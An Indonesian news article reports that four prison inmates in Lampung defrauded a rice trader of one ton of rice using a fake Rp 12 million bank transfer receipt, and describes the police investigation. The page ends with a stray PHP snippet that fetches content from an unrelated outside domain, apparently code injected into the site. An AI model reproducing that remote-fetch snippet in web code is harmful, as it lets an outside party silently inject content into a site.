Modus Transfer Palsu, 4 Napi Rutan Kotaagung Tipu Pedagang Beras di Pringsewu

Selasa, 10 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

PRINGSEWU- jejakkasus.info

Polres Pringsewu berkerjasama dengan Rutan Kelas II B Kota Agung, Tanggamus berhasil mengungkap kasus tindak pidana penipuan dan penggelapan yang dilakukan 4 orang narapidana.

Ke empat pelaku yang diamankan yakni, Arif Mustofa (33) warga Pekon Tulung Agung Kecamatan Gadingrejo, Pringsewu, Dedi Sujarwo (31) warga Pekon Pujodadi, Pardasuka, Beni Fernando (29) warga Pekon Kediri, Gadingrejo dan Yoga Febrianton (26) warga Pekon Ganjaran Pagelaran.

Kapolres Pringsewu AKBP M.Yunus Saputra mengatakan Kronologis penipuan yang dilakukan keempat pelaku ini terjadi pada Senin 29 Juli 2024 lalu sekira pukul 17.22 WIB terhadap korbannya di Pekon Sukoharjo III, Sukoharjo.

Kejadian penipuan tersebut berlangsung di pukul 11.00 WIB saat korban Siti Maysaroh warga setempat mendapat laporan dari nomor tak dikenal kepadanya menanyakan harga beras sekaligus ketersediannya.

Baca Juga:  Kapolres Bandara Ngurah Rai Menjadi Narsum Halo Kamtibmas di BaliTV

“Kemudian, nomor tak dikenal tersebut memesan beras dengan harga Rp 125 ribu per 10 kilogram. Lalu terjadi kesepakatan harga dan pelaku memesan sebanyak satu ton di pukul 17.22 WIB,” ucap Yunus Saputra dalam keterangan resminya pada Senin (9/9/24) malam.

Setelah pemesanan itu, sekira pukul 17.22 WIB datang dua orang yang mengaku suruhan korban untuk mengambil beras. Pengambilan beras tersebut dilakukan dengan mengendarai mobil pikap jenis L300 dan pelaku mengirimkan bukti transfer kepada korban.

“Ya, pelaku mengirimkan bukti transfer sebesar Rp 12 juta kepada korban. Di pukul 18.00 WIB korban mengecek transaksi melalui BRI Link dan mendapati bahwa tidak ada transaksi yang masuk atas nama pelaku, “Kata Kapolres.

Baca Juga:  Diumumkan Secara Terbuka, Kapolres Situbondo Nyatakan 105 Peserta Lulus Tahap Administrasi Penerimaan Polri TA. 2024

Atas kejadian tersebut lanjut Yunus, korban tertipu dan mengalami kerugian langsung membuat pelaporan di Mapolres Pringsewu. Menindaklanjuti itu, pihaknya mengirimkan Tekab 308 Satreskrim Polres Pringsewu bersama delapan unit I Tipidum untuk melakukan penyelidikan.

Dijelaskan Kapolres, Dalam penyelidikan itu, Polres Pringsewu berkolaborasi dengan pihak Rutan Kelas II B Kota Agung, Tanggamus. Kemudian pihaknya mendapatkan bukti petunjuk dugaan tindak pidana tersebut dilakukan oleh para narapidana di dalam Rutan Kelas II B Kota Agung.

Baca Juga:  Dugaan Praktik Upeti di Lapas Kelas IIA Kotabumi, Foto dan Video Narapidana Viral di Media Sosial

“Sehingganya, petugas pun mendatangi Rutan Kelas II B Kota Agung untuk melakukan pemeriksaan. Dan benar bahwa dugaan aksi penipuan itu dilakukan oleh para napi di dalam rutan yang berjumlah empat orang,” paparnya.

Dikatakan Kapolres, dari hasil pemeriksaan bahwa pelaku kerap melakukan aksinya baik di dalam maupun di luar wilayah Pringsewu.

Untuk barang bukti berhasil diamankan yakni dua unit handphone merek Vivo, dua merek Oppo, satu merek Itel, satu merek Redmi, selembar bukti transfer palsu , satu bundel cetak rekening BRI koran atas nama Ibnu Kurniawan.

“Di Kabupaten Pringsewu sendiri kami masih melakukan pengembangan untuk mengungkap kasus ini,” pungkasnya.

(Bambang)

Penulis : Bambang hartono

Editor : Bambang hartono

Sumber Berita : Humas Polres Pringsewu

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ngaku Anggota DPRD Balam Pengunjung Tak Mau Bayar : Karoke De’Amore Eks Thanos Diduga Belum Memiliki Ijin Lengkap
Pj. Gubernur Lampung apresiasi Dr. Marindo yang peduli UMKM melalui dekrafe
Pemkab Tanggamus Luncurkan Inovasi Penerbitan Akte Perkawinan Kolaborasi Tokoh Agama
Lapor Pak Prabowo, Anggota DPRD Lamsel F-Gerindra Ini Kampanye Bagikan Migor Ilegal ke Masyarakat
RSUDAM Lampung Diduga Abaikan Anggaran Rp500 Juta untuk Pemeliharaan Lingkungan
Percepat Atasi Masalah Sampah, Pj.Bupati Pringsewu Temui Direktur Sanitasi PUPR
Kemitraan Media Massa dan Bawaslu Lampung Selatan Awasi Pemilu 2024
CV. Saloui Pitu Klarifikasi Isu Pemberitaan Terkait Rehabilitasi Jaringan Irigasi di Way Sulan

Berita Terkait

Jumat, 4 Oktober 2024 - 07:28 WIB

Ngaku Anggota DPRD Balam Pengunjung Tak Mau Bayar : Karoke De’Amore Eks Thanos Diduga Belum Memiliki Ijin Lengkap

Jumat, 4 Oktober 2024 - 06:58 WIB

Pj. Gubernur Lampung apresiasi Dr. Marindo yang peduli UMKM melalui dekrafe

Kamis, 3 Oktober 2024 - 10:22 WIB

Pemkab Tanggamus Luncurkan Inovasi Penerbitan Akte Perkawinan Kolaborasi Tokoh Agama

Kamis, 3 Oktober 2024 - 07:50 WIB

Lapor Pak Prabowo, Anggota DPRD Lamsel F-Gerindra Ini Kampanye Bagikan Migor Ilegal ke Masyarakat

Rabu, 2 Oktober 2024 - 22:23 WIB

RSUDAM Lampung Diduga Abaikan Anggaran Rp500 Juta untuk Pemeliharaan Lingkungan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>